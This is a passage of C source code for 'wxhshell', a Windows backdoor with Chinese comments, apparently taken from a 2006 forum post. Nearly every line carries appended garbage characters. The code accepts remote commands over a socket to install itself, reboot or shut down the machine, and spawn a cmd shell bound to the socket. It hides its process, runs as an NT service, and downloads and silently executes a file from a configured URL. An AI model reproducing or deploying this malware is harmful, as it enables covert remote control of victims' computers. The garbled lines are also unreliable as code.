    switch(cmd[0]) { , !0-;H.Y  
  {5`=){  
  // 帮助 q.I  
  case '?': { @,kR<1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )/Z% HBn  
    break; PLoD^3uG)  
  } fRlO.!0(  
  // 安装 jxeZ,w o  
  case 'i': { *e/8uFX  
    if(Install()) 9\ f%+?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pT ]:TRPS  
    else 'Sk-L 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z"D'rHxy  
    break; ( &N`N1  
    } q#pD}Xe$  
  // 卸载 2":{3=oW~  
  case 'r': { %OT} r  
    if(Uninstall()) {&3{_Ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9?y-X  
    else u?xXZ]_u-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L JW0UF|  
    break; $OGTHJA  
    } s\/$`fuhx  
  // 显示 wxhshell 所在路径 J A!?vs  
  case 'p': { >/J!:Htk+K  
    char svExeFile[MAX_PATH]; 0*y|k1  
    strcpy(svExeFile,"\n\r"); <e)u8+(  
      strcat(svExeFile,ExeFile); 7:Cq[u fl  
        send(wsh,svExeFile,strlen(svExeFile),0); Le,e,#hiY  
    break; 6Z ,GD  
    } ?R#?=<VkG  
  // 重启 NLnfCY-h  
  case 'b': { ^t0Yh%V7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pXPLTGY<R+  
    if(Boot(REBOOT)) SobOUly5{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQU$E|I  
    else { n.L/Xp@gc  
    closesocket(wsh); @T 5dPmn  
    ExitThread(0); o%j[]P@4G  
    } /U@T#S  
    break; #I &#x59  
    } i (qPD_  
  // 关机 caH!(V}6  
  case 'd': { }[FP"#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6v1F. u  
    if(Boot(SHUTDOWN)) QY7Thnp1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lX)ZQY:=:  
    else { SOg>0VH)  
    closesocket(wsh); aWg*f*2f  
    ExitThread(0); Z4VNm1qs  
    } md S`nhb  
    break; r P1FM1"M  
    } GI. =\s  
  // 获取shell B QxU~s  
  case 's': { .=`r?#0  
    CmdShell(wsh); <h"07.y  
    closesocket(wsh); a]]>(Txc  
    ExitThread(0); yb4Jsk5%  
    break; LFwRTY,G  
  } $_5a1Lq1  
  // 退出 D^-6=@<3KD  
  case 'x': { [Z -S0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S W; %2  
    CloseIt(wsh); L!qXt(`  
    break; q{RH/. l  
    } $C.;GUEQ  
  // 离开 6R=dg2tKT  
  case 'q': { V!&O5T(~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MGbl-,]  
    closesocket(wsh); +!6dsnr8  
    WSACleanup(); ]Oh8LcE#BF  
    exit(1); %G43g#pD  
    break; RX\l4H5;  
        } 8n'"RaLQ8  
  } d&G#3}kOb%  
  } \g;o9}@3~  
2N /4.  
  // 提示信息 ,Nk{AiiN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5&Vp(A[m[  
} \+3P<?hD#  
  } =k0qj_  
'n$TJp|s  
  return; -F338J+J24  
} 5JvrQGvL  
L `6 R  
// shell模块句柄 #)7THx/=  
int CmdShell(SOCKET sock) "I}]]?y  
{ +=o?&  
STARTUPINFO si; -1z<,IN+  
ZeroMemory(&si,sizeof(si)); K3I|d;Y~X!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A8jj]J+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }<7S% ?TY  
PROCESS_INFORMATION ProcessInfo; GYJ lX  
char cmdline[]="cmd"; + r<d z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I}hY @  
  return 0; V;-$k@$b.  
} 9\J6G8b>|I  
kKlcK_b;  
// 自身启动模式 *= ;M',nx  
int StartFromService(void) _X/`7!f  
{ 7FB aN7l  
typedef struct rAwuWM@BIg  
{ :GBM`f@  
  DWORD ExitStatus; m]"13E0*x  
  DWORD PebBaseAddress; }j\_XaB  
  DWORD AffinityMask; Tj3xK%K_r3  
  DWORD BasePriority; a 9H^e<g  
  ULONG UniqueProcessId; ;jZf VRl  
  ULONG InheritedFromUniqueProcessId; E(p*B8d  
}   PROCESS_BASIC_INFORMATION; qh)10*FB  
!M*$p Qi}  
PROCNTQSIP NtQueryInformationProcess; XI/LVP,.  
kaG@T,pH(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &CcUr#|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s%OPoRE  
\LbBK ~l-I  
  HANDLE             hProcess; VX{9g#y$j  
  PROCESS_BASIC_INFORMATION pbi; 1RM@~I$0  
Smc=-M}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c7R<5f  
  if(NULL == hInst ) return 0; zu52]$Vj  
H5J1j*P<d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YQ _]Jv k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -+)06BqF}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "MX9h }7  
tA{B~>  
  if (!NtQueryInformationProcess) return 0; 8}_M1w6v  
ymo].  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [19QpK WM  
  if(!hProcess) return 0; P;7 Y9}  
zxhE9 [`*e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /Y_)dz^@  
~A-Y%P  
  CloseHandle(hProcess); yR'%UpaE  
kl+^0i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !=SBeq  
if(hProcess==NULL) return 0; *+rWn*L  
E#A%aLp0E  
HMODULE hMod; D.:6X'hp  
char procName[255]; aEvW<jHh  
unsigned long cbNeeded; vDit&Lh{T  
7AouiL 2-W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CA[3 R  
y c:y}"  
  CloseHandle(hProcess); `"RT(` m  
MIx,#]C&  
if(strstr(procName,"services")) return 1; // 以服务启动 ziXZJ^(FI  
Y)*:'&~2e  
  return 0; // 注册表启动 X Z4q{^o  
} 7^<{aE:  
Nay&cOz  
// 主模块 3-6Lbe9H  
int StartWxhshell(LPSTR lpCmdLine) XFmTr@\M  
{ 40$- ]i  
  SOCKET wsl; vp2s)W8W  
BOOL val=TRUE; ~|kSQ7O^  
  int port=0; gT0N\oU"  
  struct sockaddr_in door; EZb_8<DH  
efUa[XO  
  if(wscfg.ws_autoins) Install(); Wfp>BC  
TRzL":  
port=atoi(lpCmdLine); $z \H*  
+ rN&@}Jt.  
if(port<=0) port=wscfg.ws_port; ~Kiu " g  
 f2.|[  
  WSADATA data; .d;|iwl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /O {iL:`  
'J1!P:tJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )1iqM]~;B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rjWn>M  
  door.sin_family = AF_INET; IDn$w^"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +JlPQ~5  
  door.sin_port = htons(port); SDHJX8Hq  
u?%FD~l:uU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5h7M3s  
closesocket(wsl); ,We'A R3X  
return 1; -.t/c}a#  
} ]X\p\n'@j  
'MK"*W8QRM  
  if(listen(wsl,2) == INVALID_SOCKET) { 7M,(!*b  
closesocket(wsl); -POsbb>  
return 1; eFXQ~~gOj  
} PHU$<>  
  Wxhshell(wsl); 0 qp Pz|h  
  WSACleanup(); ^+k~{F,)  
e754g(|>b  
return 0; /#-zI#iK  
pz0Q@n/X  
} UB2Ft=  
H_vGa!_  
// 以NT服务方式启动 6z2WN|78  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /L^pU-}Z0  
{ <1eD*sC?g  
DWORD   status = 0; _2~+%{/m,  
  DWORD   specificError = 0xfffffff; 5lrjM^E|  
H63?Erh>a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5[0W+W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,?oC+9w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ./i5VBP5  
  serviceStatus.dwWin32ExitCode     = 0; `NB6Of*/  
  serviceStatus.dwServiceSpecificExitCode = 0; :D:Y-cG*n<  
  serviceStatus.dwCheckPoint       = 0; FXG,D J:  
  serviceStatus.dwWaitHint       = 0; =x3T+)qCNX  
 `;HZO8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {'NXJ!I;t  
  if (hServiceStatusHandle==0) return; $i;m9_16  
TW~%1G_v  
status = GetLastError(); /H~]5JZ3-E  
  if (status!=NO_ERROR) lEXI<b'2  
{ 2e^6Od!Y?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0@>  
    serviceStatus.dwCheckPoint       = 0; JsK_q9]$e  
    serviceStatus.dwWaitHint       = 0; :zp9L/eh  
    serviceStatus.dwWin32ExitCode     = status; ,"U|gJn|^  
    serviceStatus.dwServiceSpecificExitCode = specificError; k<A|+![  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); moCr4*jDX,  
    return; vB Vg/  
  } n= A}X4^  
["0DXm%t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iT=h }>  
  serviceStatus.dwCheckPoint       = 0; B+4WnR1%T  
  serviceStatus.dwWaitHint       = 0; RXw }Tb/D8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &|I{ju_  
} -58Sb"f  
1qm _Qs&  
// 处理NT服务事件,比如:启动、停止 qlm7eS"sy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o7kQ&w   
{ #ja6nt8GC  
switch(fdwControl) J*D3=5&  
{ l&{+3aC:  
case SERVICE_CONTROL_STOP: @B9O*x+n:  
  serviceStatus.dwWin32ExitCode = 0; Pj ^O8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y$0K}`{  
  serviceStatus.dwCheckPoint   = 0; [oG Sy5bB  
  serviceStatus.dwWaitHint     = 0; "?S> }G\  
  { R/P9=yvg0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hka`STK{  
  } O &}`R5Y;  
  return; B4t,@,\O  
case SERVICE_CONTROL_PAUSE: }iRRf_   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ge|Cv v  
  break; rYO~/N  
case SERVICE_CONTROL_CONTINUE: 'k9 Qd:a}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z)!#+m83>-  
  break; %TYe]^/'y  
case SERVICE_CONTROL_INTERROGATE: 1 EwCF  
  break; jhB+ ]  
}; U-pBat.$'C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UL0n>Wa5  
} iJSyi;l|  
K`8$+JDP+  
// 标准应用程序主函数 m+3]RIr&A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?o`fX wE  
{ gr\vC  
C)BVsHT4  
// 获取操作系统版本 ^2LqKo\T  
OsIsNt=GetOsVer(); nVoP:FHH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L8?;A9pc()  
plgiQr #  
  // 从命令行安装 u& <NBxY  
  if(strpbrk(lpCmdLine,"iI")) Install(); C j:  
I>:.fHvUC  
  // 下载执行文件 ,~>u<Wc!S  
if(wscfg.ws_downexe) { Bxk2P<d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ofuQ`g1hb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4?Qc&e{5  
} }*,z~y}V#  
5!qLJmd=  
if(!OsIsNt) { 7-MyiCt  
// 如果时win9x,隐藏进程并且设置为注册表启动 kk ZMoK  
HideProc(); b|u,[jEB  
StartWxhshell(lpCmdLine); v-XB\|f  
} qkD9xFp  
else )TOKHN  
  if(StartFromService()) 'Ooq.jaK;/  
  // 以服务方式启动 #K\;)z(?  
  StartServiceCtrlDispatcher(DispatchTable); \ mg  
else @!mjjeG+1  
  // 普通方式启动 kY#sQz}8  
  StartWxhshell(lpCmdLine); <ELqj2`c  
O6]X\Cwj%  
return 0; YzYj/,?r  
}
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只看该作者 1 发表于: 2006-10-10
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